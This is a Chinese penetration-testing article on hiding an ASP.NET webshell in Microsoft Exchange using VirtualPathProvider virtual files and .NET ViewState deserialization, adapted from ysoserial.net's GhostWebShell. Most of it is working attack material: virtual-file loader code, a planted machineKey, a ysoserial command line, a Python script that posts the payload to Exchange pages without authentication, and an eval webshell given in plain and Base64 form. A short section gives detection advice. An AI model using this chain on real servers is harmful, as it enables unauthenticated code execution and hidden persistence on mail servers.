渗透技巧——利用虚拟文件隐藏ASP.NET Webshell
0x00 前言
通过ASP.NET的VirtualPathProvider类能够创建虚拟文件,实现以下效果:虚拟文件不存在于服务器的文件系统,但是能够对其动态编译并提供访问服务。ysoserial.net的GhostWebShell.cs提供了一种可供学习的利用思路。
本文将要介绍虚拟文件的利用方法,在ysoserial.net的GhostWebShell.cs基础上介绍Exchange下的利用方法,开源代码,记录细节,给出防御建议。
0x01 简介
本文将要介绍以下内容:
- VirtualPathProvider在Exchange下的利用
- DotNet反序列化在Exchange下的利用
- 防御检测
0x02 VirtualPathProvider在Exchange下的利用
参考资料:
https://docs.microsoft.com/en-us/dotnet/api/system.web.hosting.virtualpathprovider?view=netframework-4.8
在实现上需要继承VirtualPathProvider类并重写两个方法:FileExists和GetFile,注册VirtualPathProvider并创建实例后,实现虚拟文件的创建
示例代码:
<%@ Page Language="C#" AutoEventWireup="true" validateRequest="false" EnableViewStateMac="false" %>
<%@ Import Namespace="System.Web.Hosting" %>
<%@ Import Namespace="System.Web.Compilation" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.Reflection" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<script runat="server">
public class DeferredPathProvider : VirtualPathProvider
{
public DeferredPathProvider() : base()
{
}
public bool IsTargetVirtualPath(string virtualPath)
{
string path = VirtualPathUtility.ToAppRelative(virtualPath);
return path.StartsWith("~/deferred", StringComparison.InvariantCultureIgnoreCase);
}
public override VirtualFile GetFile(string virtualPath)
{
if (IsTargetVirtualPath(virtualPath))
{
return new DeferredVirtualFile(this, virtualPath);
}
else
{
return Previous.GetFile(virtualPath);
}
}
public override bool FileExists(string virtualPath)
{
return IsTargetVirtualPath(virtualPath) ? true : Previous.FileExists(virtualPath);
}
}
public class DeferredVirtualFile : VirtualFile
{
DeferredPathProvider provider = null;
public DeferredVirtualFile(DeferredPathProvider provider, string virtualFile) : base(virtualFile)
{
this.provider = provider;
}
public override Stream Open()
{
Stream stream = new MemoryStream();
StreamWriter writer = new StreamWriter(stream);
writer.Write("<%@ Page Language=\"C#\" AutoEventWireup=\"true\" %>\r\n" +
"<% Response.Write(\"Compiled on the fly :)\"); %>");
writer.Flush();
stream.Seek(0, SeekOrigin.Begin);
return stream;
}
}
private Page handler = null;
public void Page_Load()
{
DeferredPathProvider provider = new DeferredPathProvider();
typeof(HostingEnvironment).GetMethod("RegisterVirtualPathProviderInternal",
BindingFlags.Static | BindingFlags.InvokeMethod | BindingFlags.NonPublic)
.Invoke(null, new object[] { provider });
handler = (Page) BuildManager.CreateInstanceFromVirtualPath("~/deferred.aspx", typeof(Page));
handler.ProcessRequest(HttpContext.Current);
}
protected override void Render(HtmlTextWriter writer)
{
}
</script>
注:
代码来自https://kernel32.org/posts/evading-anti-virus-by-using-dynamic-code-generation-and-reflection/
在Exchange上进行如下测试:
保存位置:%ExchangeInstallPath%\FrontEnd\HttpProxy\owa\auth\test1.aspx
访问url:https://<url>/owa/auth/test1.aspx/deferred.aspx
,返回结果:Compiled on the fly :)
,虚拟文件被成功访问
注:
虚拟文件的可访问路径为:https://<url>/owa/auth/test1.aspx/<任意字符>
创建虚拟文件时,会在临时目录下产生编译文件,默认位置:C:\Windows\Microsoft.NET\Framework64|Framework\<version>\Temporary ASP.NET Files\owa\<hash1>\<hash2>\
文件名称:test1.aspx.<hash3>.compiled
如果删除原文件test1.aspx,那么虚拟文件也随之失效,无法访问
通过这种方式实现的Webshell,虽然能够隐藏真实的文件内容,但是需要依赖文件,容易被清除,隐蔽性不够
而利用ysoserial.net的GhostWebShell.cs恰恰能够解决这个问题,提高隐蔽性。
0x03 DotNet反序列化的利用
参考代码:
https://github.com/pwntester/ysoserial.net/blob/master/ExploitClass/GhostWebShell.cs
测试环境:
获得了Exchange文件读写权限,能够修改%ExchangeInstallPath%\FrontEnd\HttpProxy\owa\web.config
和%ExchangeInstallPath%\FrontEnd\HttpProxy\ecp\web.config
,设置machineKey的内容如下:
<machineKey validationKey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" decryptionKey="E9D2490BD0075B51D1BA5288514514AF" validation="SHA1" decryption="3DES" />
对于这两个位置的.Net反序列化命令执行,不再需要合法用户的凭据
这里选择%ExchangeInstallPath%\FrontEnd\HttpProxy\owa\auth\errorFE.aspx
,对应的generator为042A94E8
使用ysoserial.net生成ViewState的参数如下:
ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -f LosFormatter -c "ghostfile.cs;System.Web.dll;System.dll;" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="042A94E8"
使用如下代码发送ViewState:
# encoding: UTF-8
import requests
import re
import sys
import os
import json
import urllib3
urllib3.disable_warnings()
from urllib.parse import quote
import urllib.parse
if __name__ == '__main__':
if len(sys.argv)!=4:
note = '''
Usage:
<url> <key> <path>
<path>: owa or ecp
eg.
{0} 192.168.1.1 CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF owa
{1} mail.test.com CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF ecp
'''
print(note.format(sys.argv[0],sys.argv[0]))
sys.exit(0)
else:
targeturl = "";
generator = "";
try:
if sys.argv[3] == "owa":
targeturl = "https://" + sys.argv[1] + "/owa/auth/errorFE.aspx";
generator = "042A94E8";
elif sys.argv[3] == "ecp":
targeturl = "https://" + sys.argv[1] + "/ecp/auth/TimeoutLogout.aspx";
generator = "277B1C2A";
else:
print("[!] Wrong input");
print("[*] TargetURL: " + targeturl)
out_payload = "<ViewState Data>"
body = {"__VIEWSTATEGENERATOR": generator,"__VIEWSTATE": out_payload}
postData = urllib.parse.urlencode(body).encode("utf-8")
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36xxxxx",
"Content-Type":"application/x-www-form-urlencoded"
}
status = requests.post(url=targeturl, headers=headers, data=postData, verify=False, timeout=15)
print(status.status_code)
print(status.headers)
print(status.text)
except Exception as e:
print("[!] Error:%s"%(e))
exit(0)
访问https://<url>/owa/auth/fakepath31337/<任意字符>.aspx
,返回结果:This is the attacker's file - running on the server if this 1337 is 1337.
,虚拟文件被成功访问
这种方式不需要依赖文件,提高隐蔽性
接下来修改GhostWebShell.cs实现Webshell的功能
将虚拟目录设置为根目录,访问的url示例:https://<url>/owa/auth/<任意字符>.aspx
为了避免意外访问,需要添加访问条件,填入Header判断,如果不满足条件跳转至错误页面errorFE.aspx
一句话的测试代码:
<%@ Page Language="Jscript"%><%
if(Request.Headers["Value"]=="00HGAT3K0AXHV2RF2W0G")
{
eval(Request.Item["antsword"],"unsafe");
}
else
{
Response.Redirect("/owa/auth/errorFE.aspx?httpCode=404");
}
%>
使用AntSword连接时,需要设置HTTP HEADERS,内容如下:
Name: Value
Value: 00HGAT3K0AXHV2RF2W0G
Base64后的字符为:PCVAIFBhZ2UgTGFuZ3VhZ2U9IkpzY3JpcHQiJT48JQppZihSZXF1ZXN0LkhlYWRlcnNbIlZhbHVlIl09PSIwMEhHQVQzSzBBWEhWMlJGMlcwRyIpCnsKZXZhbChSZXF1ZXN0Lkl0ZW1bImFudHN3b3JkIl0sInVuc2FmZSIpOwkKfQplbHNlCnsKUmVzcG9uc2UuUmVkaXJlY3QoIi9vd2EvYXV0aC9lcnJvckZFLmFzcHg/aHR0cENvZGU9NDA0Iik7Cn0KJT4=
替换GhostWebShell.cs中的webshellContentsBase64
完整的Python实现代码已上传至github,地址如下:
https://github.com/3gstudent/Homework-of-Python/blob/master/ExchangeDeserializeShell-NoAuth-ghostfile.py
代码支持两个位置的反序列化执行,分别为默认存在的文件%ExchangeInstallPath%\FrontEnd\HttpProxy\owa\auth\errorFE.aspx
和%ExchangeInstallPath%\FrontEnd\HttpProxy\ecp\auth\TimeoutLogout.aspx
,能够自动生成带有Webshell功能的GhostWebShell.cs,使用ysoserial.net生成ViewState并发送
完整的C#实现代码已上传至github,地址如下:
https://github.com/3gstudent/Homework-of-C-Sharp/blob/master/SharpExchangeDeserializeShell-NoAuth-ghostfile.cs
代码功能同上,可直接编译并执行,不再依赖ysoserial.net
注:
为了便于在Exchange下进行测试,我将GhostWebShell.cs修改成了aspx文件,可以直接访问进行测试,代码地址如下:
https://github.com/3gstudent/test/blob/master/PageLoad_ghostfile.aspx
0x04 防御检测
利用虚拟文件创建的ASP.NET Webshell,不再需要写入aspx文件,在防御上可监控临时目录下产生的编译文件,默认位置:C:\Windows\Microsoft.NET\Framework64|Framework\<version>\Temporary ASP.NET Files\owa\<hash1>\<hash2>\
需要注意的是攻击者在产生编译文件后可以进行删除
0x05 小结
本文介绍了虚拟文件的利用方法,针对Exchange环境,分别介绍了VirtualPathProvider和DotNet反序列化的利用,给出防御建议。